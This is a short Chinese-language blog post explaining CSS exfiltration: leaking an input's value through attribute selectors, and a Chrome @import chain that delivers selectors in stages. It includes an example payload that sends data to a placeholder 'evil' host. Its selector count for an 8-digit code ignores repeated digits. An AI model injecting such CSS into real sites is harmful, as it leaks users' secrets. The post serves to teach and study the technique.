CSS Exfiltration

2019-04-30 security Chrome CSS

雖然不是什麼新東西,但是覺得有趣就整理一下

Why

隨著前端技術越發強大,CSS 也在其中佔有一席之地, CSS exfiltration 技巧也沒在 CTF 少出現過,當然有一些前提條件

  1. 目標元素需要在瀏覽器載入網頁階段存在
  2. 需要有明確的屬性讓 css selector 可以取到該元素
  3. 取到元素之後要有辦法透過像是 background、background-image 等將資料傳遞出去(可能會被 CSP 限制)

假設目標存在CSS injection、HTML injection 卻無法執行 javascript 或是目標存在 RPO 弱點的話,這可能是一個可以考慮的方向,但仍需要視瀏覽器而定

基本原理是透過 css selector 選取到對定的元素,並依照其屬性判斷來向遠端伺服器送出請求如:#target[value^="s"]{backround: url("http://evil/?s")},透過這只種方式只要有夠多的 css selector 便可以將目標屬性完全讀出來

倘若目標屬性的長度較長抑或是複雜度較高(大小寫、數字英文、符號等)則需要的 css selector 便會大增,假設目標是純數字的 8 位密碼,便需要 P(10, 8) = 10!/2! = 1,814,400 這麼多項 css selector,另一方面一次性的大量載入 css 也可能會導致瀏覽器載入速度變慢導致使用者對攻擊"有感"

有沒有一個方法可以透過跟伺服器互動的方式來減少一次性注入大量的 css 規則到目標瀏覽器中是否可能呢 ?

How

這裡用到一個 Chrome 瀏覽器的特性,可以讓攻擊者使用 @import 引入一個遠端 CSS 就可以完成任務,使用下列的範例來解釋 Chrome 對 CSS 的解析順序

@import url(http://remote/style.css)

* { color: red; }
  1. http://remote/style.css 發出請求
  2. 執行 * { color: red; }
  3. 當取得 1. 的回應後,將 @import 替換成回應內容,並重新渲染 CSS

就是這一個重新渲染的動作,讓我們可以利用一連串的 @import 來將我們要的 payload 分段送達,用以降低複雜度

假設我們的目標是 id 為 secret 的 value,大致步驟如下

透過一個 @import@import 另外兩個 css,一個用來維持 @import 鏈,一個用來逐步取得目標字元,這裡需要注意的是要收到 gen.css 的結果之後再將 next.css 回應給目標,即時回應的話會造成死迴圈,永遠都在讀第一個字元,另外兩個 @import 都要帶上參數確保每次發出的 request 是不一樣的,一方面用來辨識目前讀到第幾個字,另一方面避免瀏覽器的 cache 機制切斷利用鏈

Conclusion

以 8 位數字的目標為例子,舊方法需要需要產生 P(10, 8) = 10!/2! = 1,814,400 這麼多的 css selector,新的方法每一 round 只要產生 10 個就可以,則總數為 8 x 10 = 80,看起來有一點 stack reading 的既視感。

雖然現實生活中應該很難用到,但是利用 CSS 特性與 Chrome 的解析特性來降低攻擊複雜度這個想法真有夠讚。

References